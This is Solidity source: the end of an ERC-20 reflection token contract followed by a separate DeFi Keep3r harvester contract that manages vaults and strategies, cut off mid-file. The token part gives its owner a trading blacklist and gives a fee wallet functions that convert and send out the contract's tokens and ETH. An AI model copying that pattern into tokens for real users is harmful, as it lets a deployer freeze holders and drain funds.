uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 8000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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/**
*Submitted for verification at Etherscan.io on 2021-08-06
*/
pragma solidity 0.6.12;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//
interface IMMStrategyHarvestKp3r {
event Keep3rSet(address keep3r);
event Keep3rHelperSet(address keep3rHelper);
event SlidingOracleSet(address slidingOracle);
// Actions by Keeper
event HarvestedByKeeper(address _strategy);
// Harvestable check
event HarvestableCheck(address _strategy, uint256 profitTokenAmount, uint256 profitFactor, uint256 profitInEther, uint256 ethCallCost);
// Setters
function setKeep3r(address _keep3r) external;
function setKeep3rHelper(address _keep3rHelper) external;
function setSlidingOracle(address _slidingOracle) external;
function setSushiSlidingOracle(address _sushiSlidingOracle) external;
function setMinHarvestInterval(uint256 _interval) external;
function setProfitFactor(uint256 _profitFactor) external;
// Getters
function getStrategies() external view returns (address[] memory);
function getCollateralizedStrategies() external view returns (address[] memory);
function getVaults() external view returns (address[] memory);
// psuedo view method, please use something similar to below tool to query
// https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic
function harvestable(address _strategy) external returns (bool);
// harvest actions for Keep3r
function harvest(address _strategy) external;
// earn() actions for Keep3r
function earnable(address _strategy) external view returns (bool);
function earn(address _strategy) external;
// keepMinRatio() actions for Keep3r
function keepMinRatioMayday(address _strategy) external view returns (bool);
function keepMinRatio(address _strategy) external;
// Name of the Keep3r
function name() external pure returns (string memory);
event HarvestStrategyAdded(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle);
event EarnVaultAdded(address _vault, uint256 _requiredEarnBalance);
event HarvestStrategyModified(address _strategy, uint256 _requiredHarvest);
event EarnVaultModified(address _vault, uint256 _requiredEarnBalance);
event HarvestStrategyRemoved(address _strategy);
event EarnVaultRemoved(address _vault);
// Modifiers
function addStrategy(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle) external;
function addVault(address _vault, uint256 _requiredEarnBalance) external;
function updateRequiredHarvestAmount(address _strategy, uint256 _requiredHarvest) external;
function updateYieldTokenOracle(address _strategy, uint256 _yieldTokenOracle) external;
function updateRequiredEarn(address _vault, uint256 _requiredEarnBalance) external;
function removeHarvestStrategy(address _strategy) external;
function removeEarnVault(address _vault) external;
}
//
interface IKeep3rV1 {
function KPRH() external returns (address);
function name() external returns (string memory);
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
function addKPRCredit(address job, uint256 amount) external;
function addJob(address job) external;
}
//
abstract contract Keep3r {
IKeep3rV1 public keep3r;
constructor(address _keep3r) public {
_setKeep3r(_keep3r);
}
function _setKeep3r(address _keep3r) internal {
keep3r = IKeep3rV1(_keep3r);
}
function _isKeeper() internal {
require(tx.origin == msg.sender, "keep3r::isKeeper:keeper-is-a-smart-contract");
require(keep3r.isKeeper(msg.sender), "keep3r::isKeeper:keeper-is-not-registered");
}
// Only checks if caller is a valid keeper, payment should be handled manually
modifier onlyKeeper() {
_isKeeper();
_;
}
// Checks if caller is a valid keeper, handles default payment after execution
modifier paysKeeper() {
_isKeeper();
_;
keep3r.worked(msg.sender);
}
}
//
interface IKeep3rV1Helper {
function getQuoteLimit(uint256 gasUsed) external view returns (uint256);
}
//
interface IUniswapV2SlidingOracle {
function current(
address tokenIn,
uint256 amountIn,
address tokenOut
) external view returns (uint256);
function work() external;
function updatePair(address pair) external;
function observationLength(address pair) external view returns (uint);
function lastObservation(address pair) external view returns (uint timestamp, uint price0Cumulative, uint price1Cumulative);
function observations(address pair, uint256 idx) external view returns (uint timestamp, uint price0Cumulative, uint price1Cumulative);
}
//
interface IStrategy {
function rewards() external view returns (address);
function gauge() external view returns (address);
function want() external view returns (address);
function timelock() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint256, address) external;
function skim() external;
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function harvest() external;
function setTimelock(address) external;
function setController(address _controller) external;
function execute(address _target, bytes calldata _data)
external
payable
returns (bytes memory response);
function execute(bytes calldata _data)
external
payable
returns (bytes memory response);
}
//
interface ICrvStrategy is IStrategy {
function getHarvestable() external returns (uint256);
}
//
interface ICompStrategy is IStrategy {
function getCompAccrued() external returns (uint256);
}
//
interface ILeveragedStrategy is IStrategy {
function leverageToMax() external;
}
//
interface ICollateralizedStrategy is IStrategy {
function keepMinRatio() external;
function currentRatio() external view returns (uint256);
function minRatio() external view returns (uint256);
function setMinRatio(uint256 _minRatio) external;
}
//
interface IVault {
function earn() external;
function token() external view returns (address);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
interface MMController {
function vaults(address _wantToken) external view returns (address);
function strategies(address _wantToken) external view returns (address);
}
interface KeeperCompatibleInterface {
function checkUpkeep(bytes calldata checkData) external returns (bool upkeepNeeded, bytes memory performData);
function performUpkeep(bytes calldata performData) external;
}
//
// inspired by & thanks to https://macarse.medium.com/the-keep3r-network-experiment-bb1c5182bda3
//
contract GenericKeep3rV2 is Keep3r, IMMStrategyHarvestKp3r, KeeperCompatibleInterface {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal availableStrategies;
EnumerableSet.AddressSet internal leveragedStrategies;
EnumerableSet.AddressSet internal collateralizedStrategies;
EnumerableSet.AddressSet internal availableVaults;
// one-to-one mapping from vault to strategy
mapping(address => address) public vaultStrategies;
// required gas cost on strategy harvest()
mapping(address => uint256) public requiredHarvest;
// last harvest timestamp for strategy
mapping(address => uint256) public strategyLastHarvest;
// profit token yield by strategy harvest()
mapping(address => address) public stratagyYieldTokens;
// oracles used in harvest() for strategy:
// 0 : slidingOracle
// 1 : sushiSlidingOracle
// anything > 1 : simply use token number instead price oracle
mapping(address => uint256) public stratagyYieldTokenOracles;
// required minimum token available for vault earn(), may subject to change to make this job reasonable
mapping(address => uint256) public requiredEarnBalance;
address public keep3rHelper;
address public slidingOracle;
address public sushiSlidingOracle;
address public mmController;
address public constant KP3R = address(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant CRV = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant COMP = address(0xc00e94Cb662C3520282E6f5717214004A7f26888);
address public constant MIR = address(0x09a3EcAFa817268f77BE1283176B946C4ff2E608);
address public constant PICKLE = address(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5);
address public constant TRU = address(0x4C19596f5aAfF459fA38B0f7eD92F11AE6543784);
address public constant CVXCRV = address(0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7);
address public constant THREECRV = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
address public constant CRVRENWBTC = address(0x49849C98ae39Fff122806C06791Fa73784FB3675);
address public constant DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F );
address public constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 );
address public constant MIRUSTLP = address(0x87dA823B6fC8EB8575a235A824690fda94674c88 );
address public constant WBTC = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
address public constant LINK = address(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address public constant ZRX = address(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
address public constant ALCX = address(0xdBdb4d16EdA451D0503b854CF79D55697F90c8DF);
address public constant ALUSD = address(0xBC6DA0FE9aD5f3b0d58160288917AA56653660E9);
address public constant USDP3CRV = address(0x7Eb40E450b9655f4B3cC4259BCC731c63ff55ae6);
address public constant RENBTC = address(0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D);
address public constant YVECRV = address(0xc5bDdf9843308380375a611c18B50Fb9341f502A);
address public constant TUSD = address(0x0000000000085d4780B73119b644AE5ecd22b376);
address public constant CVX = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
uint256 public constant UNISWAP_ORACLE = 0;
uint256 public constant SUSHISWAP_ORACLE = 1;
bytes4 public constant earnForChainlinkMethodId = bytes4(keccak256("earnForChainlink(address)"));
bytes4 public constant harvestForChainlinkMethodId = bytes4(keccak256("harvestForChainlink(address)"));
bytes4 public constant keepMinRatioForChainlinkMethodId = bytes4(keccak256("keepMinRatioForChainlink(address)"));
bytes4 public constant earnableMethodId = bytes4(keccak256("earnable(address)"));
bytes4 public constant harvestableMethodId = bytes4(keccak256("harvestable(address)"));
bytes4 public constant keepMinRatioableMethodId = bytes4(keccak256("keepMinRatioMayday(address)"));
// The minimum number of seconds between harvest calls, once half a day
uint256 public minHarvestInterval = 43200;
// The minimum multiple that `callCost` must be above the profit to be "justifiable"
uint256 public profitFactor = 1;
// The minimum bps setting for keepMinRatio
uint256 public keepMinRatioMaydayTrigger = 9000;
address public governor;
constructor(
address _keep3r,
address _keep3rHelper,
address _slidingOracle,
address _sushiSlidingOracle,
address _mmController
) public Keep3r(_keep3r) {
keep3rHelper = _keep3rHelper;
slidingOracle = _slidingOracle;
sushiSlidingOracle = _sushiSlidingOracle;
governor = msg.sender;
mmController = _mmController;
// add exisitng vaults
addVault(MMController(_mmController).vaults(THREECRV), 5000 * 1e18); // Matsutake Field 3CRV
addVault(MMController(_mmController).vaults(CRVRENWBTC), 1 * 1e18); // Boletus Field crvRENWBTC
addVault(MMController(_mmController).vaults(DAI), 5000 * 1e18); // Kikurage Field DAI
addVault(MMController(_mmController).vaults(USDC), 5000 * 1e6); // Lentinula Field USDC
addVault(MMController(_mmController).vaults(MIRUSTLP), 1000 * 1e18); // Agaricus Field MIR-UST LP
addVault(MMController(_mmController).vaults(WETH), 5 * 1e18); // Russula Field WETH
addVault(MMController(_mmController).vaults(WBTC), 1 * 1e8); // Pleurotus Field WBTC
addVault(MMController(_mmController).vaults(LINK), 500 * 1e18); // Calvatia Field LINK
addVault(MMController(_mmController).vaults(ZRX), 5000 * 1e18); // Helvella Field ZRX
addVault(MMController(_mmController).vaults(ALCX), 20 * 1e18); // Geastrum Field ALCX
addVault(MMController(_mmController).vaults(ALUSD), 5000 * 1e18); // Aleuria Field ALUSD
addVault(MMController(_mmController).vaults(USDP3CRV), 5000 * 1e18); // Lycoperdon Field USDP3CRV
addVault(MMController(_mmController).vaults(RENBTC), 1 * 1e8); // Rhizopogon Field RENBTC
addVault(MMController(_mmController).vaults(YVECRV), 5000 * 1e18); // Chaga Field YVECRV
addVault(MMController(_mmController).vaults(TUSD), 5000 * 1e18); // Lepista Field TUSD
addVault(MMController(_mmController).vaults(CVX), 2000 * 1e18); // Tremella Field CVX
// add exisitng strategies
addStrategy(MMController(_mmController).vaults(THREECRV), MMController(_mmController).strategies(THREECRV), 1000000, false, false, CRV, 300 * 1e18); // 3CRV Yield $CRV
addStrategy(MMController(_mmController).vaults(CRVRENWBTC), MMController(_mmController).strategies(CRVRENWBTC), 1000000, false, false, CRV, 300 * 1e18); // crvRENWBTC Yield $CRV
addStrategy(MMController(_mmController).vaults(DAI), MMController(_mmController).strategies(DAI), 700000, false, true, COMP, 3 * 1e18); // DAI Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(USDC), MMController(_mmController).strategies(USDC), 700000, false, true, COMP, 3 * 1e18); // USDC Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(MIRUSTLP), MMController(_mmController).strategies(MIRUSTLP), 850000, false, false, MIR, 1000 * 1e18); // MIR-UST LP Yield $MIR
addStrategy(MMController(_mmController).vaults(WETH), MMController(_mmController).strategies(WETH), 1100000, true, false, CRV, 300 * 1e18); // WETH Collateralized LP Yield $CRV
addStrategy(MMController(_mmController).vaults(WBTC), MMController(_mmController).strategies(WBTC), 700000, false, true, COMP, 10 * 1e18); // WBTC Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(LINK), MMController(_mmController).strategies(LINK), 1100000, false, false, CRV, 300 * 1e18); // LINK LP Yield $CRV
addStrategy(MMController(_mmController).vaults(ZRX), MMController(_mmController).strategies(ZRX), 1100000, false, false, COMP, 3 * 1e18); // ZRX Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(ALCX), MMController(_mmController).strategies(ALCX), 400000, false, false, ALCX, 3 * 1e18); // ALCX Yield $ALCX
//addStrategy(MMController(_mmController).vaults(ALUSD), MMController(_mmController).strategies(ALUSD), 500000, false, false, CRV, 200 * 1e18); // ALUSD LP Yield $CRV
addStrategy(MMController(_mmController).vaults(USDP3CRV), MMController(_mmController).strategies(USDP3CRV), 1200000, false, false, CRV, 300 * 1e18); // USDP3CRV Yield $CRV
addStrategy(MMController(_mmController).vaults(RENBTC), MMController(_mmController).strategies(RENBTC), 1200000, false, false, CRV, 300 * 1e18); // RENBTC LP Yield $CRV
addStrategy(MMController(_mmController).vaults(YVECRV), MMController(_mmController).strategies(YVECRV), 900000, false, false, PICKLE, 100 * 1e18); // YVECRV LP Yield $PICKLE
addStrategy(MMController(_mmController).vaults(TUSD), MMController(_mmController).strategies(TUSD), 1400000, false, false, TRU, 300 * 1e18); // TUSD Yield $TRU
addStrategy(MMController(_mmController).vaults(CVX), MMController(_mmController).strategies(CVX), 600000, false, false, CVXCRV, 300 * 1e18); // CVX Yield $CVXCRV
}
modifier onlyGovernor {
require(msg.sender == governor, "governable::only-governor");
_;
}
function _setGovernor(address _governor) external onlyGovernor {
require(_governor != address(0), "governable::governor-should-not-be-zero-addres");
governor = _governor;
}
// Unique method to add a strategy with specified parameters to the system
function addStrategy(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle) public override onlyGovernor {
_addHarvestStrategy(_vault, _strategy, _requiredHarvest);
availableStrategies.add(_strategy);
stratagyYieldTokens[_strategy] = yieldToken;
stratagyYieldTokenOracles[_strategy] = yieldTokenOracle;
if (_requiredKeepMinRatio){
collateralizedStrategies.add(_strategy);
}
if (_requiredLeverageToMax){
leveragedStrategies.add(_strategy);
}
emit HarvestStrategyAdded(_vault, _strategy, _requiredHarvest, _requiredKeepMinRatio, _requiredLeverageToMax, yieldToken, yieldTokenOracle);
}
function _addHarvestStrategy(address _vault, address _strategy, uint256 _requiredHarvest) internal {
require(availableVaults.contains(_vault), "generic-keep3r-v2:!availableVaults");
require(requiredHarvest[_strategy] == 0 && !availableStrategies.contains(_strategy), "generic-keep3r-v2:!requiredHarvest:strategy-already-added");
_setRequiredHarvest(_strategy, _requiredHarvest);
vaultStrategies[_vault] = _strategy;
}
// Unique method to add a vault with specified parameters to the system
function addVault(address _vault, uint256 _requiredEarnBalance) public override onlyGovernor {
require(!availableVaults.contains(_vault), "generic-keep3r-v2:!requiredEarn:vault-already-added");
availableVaults.add(_vault);
_setRequiredEarn(_vault, _requiredEarnBalance);
emit EarnVaultAdded(_vault, _requiredEarnBalance);
}
// Unique method to update a strategy with specified gas cost
function updateRequiredHarvestAmount(address _strategy, uint256 _requiredHarvest) external override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::update-required-harvest:strategy-not-added");
_setRequiredHarvest(_strategy, _requiredHarvest);
emit HarvestStrategyModified(_strategy, _requiredHarvest);
}
// Unique method to update a strategy with specified yield token oracle type
function updateYieldTokenOracle(address _strategy, uint256 _yieldTokenOracle) external override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::update-yield-token-oracle:strategy-not-added");
stratagyYieldTokenOracles[_strategy] = _yieldTokenOracle;
}
// Unique method to update a vault with specified required want token number for earn()
function updateRequiredEarn(address _vault, uint256 _requiredEarnBalance) external override onlyGovernor {
require(availableVaults.contains(_vault), "generic-keep3r-v2::update-required-earn:vault-not-added");
_setRequiredEarn(_vault, _requiredEarnBalance);
emit EarnVaultModified(_vault, _requiredEarnBalance);
}
function removeHarvestStrategy(address _strategy) public override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::remove-harvest-strategy:strategy-not-added");
delete requiredHarvest[_strategy];
availableStrategies.remove(_strategy);
if (collateralizedStrategies.contains(_strategy)){
collateralizedStrategies.remove(_strategy);
}
if (leveragedStrategies.contains(_strategy)){
leveragedStrategies.remove(_strategy);
}
emit HarvestStrategyRemoved(_strategy);
}
function removeEarnVault(address _vault) external override onlyGovernor {
require(availableVaults.contains(_vault), "generic-keep3r-v2::remove-earn-vault:vault-not-added");
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy)){
removeHarvestStrategy(_strategy);
delete vaultStrategies[_vault];
}
delete requiredEarnBalance[_vault];
availableVaults.remove(_vault);
emit EarnVaultRemoved(_vault);
}
function setMinHarvestInterval(uint256 _interval) external override onlyGovernor {
require(_interval > 0, "!_interval");
minHarvestInterval = _interval;
}
function setProfitFactor(uint256 _profitFactor) external override onlyGovernor {
require(_profitFactor > 0, "!_profitFactor");
profitFactor = _profitFactor;
}
function setKeepMinRatioMaydayTrigger(uint256 _keepMinRatioTrigger) external onlyGovernor {
require(_keepMinRatioTrigger > 100 && _keepMinRatioTrigger < 10000, "!_keepMinRatioTrigger");
keepMinRatioMaydayTrigger = _keepMinRatioTrigger;
}
function setKeep3r(address _keep3r) external override onlyGovernor {
_setKeep3r(_keep3r);
emit Keep3rSet(_keep3r);
}
function setKeep3rHelper(address _keep3rHelper) external override onlyGovernor {
keep3rHelper = _keep3rHelper;
emit Keep3rHelperSet(_keep3rHelper);
}
function setSlidingOracle(address _slidingOracle) external override onlyGovernor {
slidingOracle = _slidingOracle;
emit SlidingOracleSet(_slidingOracle);
}
function setSushiSlidingOracle(address _sushiSlidingOracle) external override onlyGovernor {
sushiSlidingOracle = _sushiSlidingOracle;
}
function _setRequiredEarn(address _vault, uint256 _requiredEarnBalance) internal {
if (_requiredEarnBalance > 0){
requiredEarnBalance[_vault] = _requiredEarnBalance;
}
}
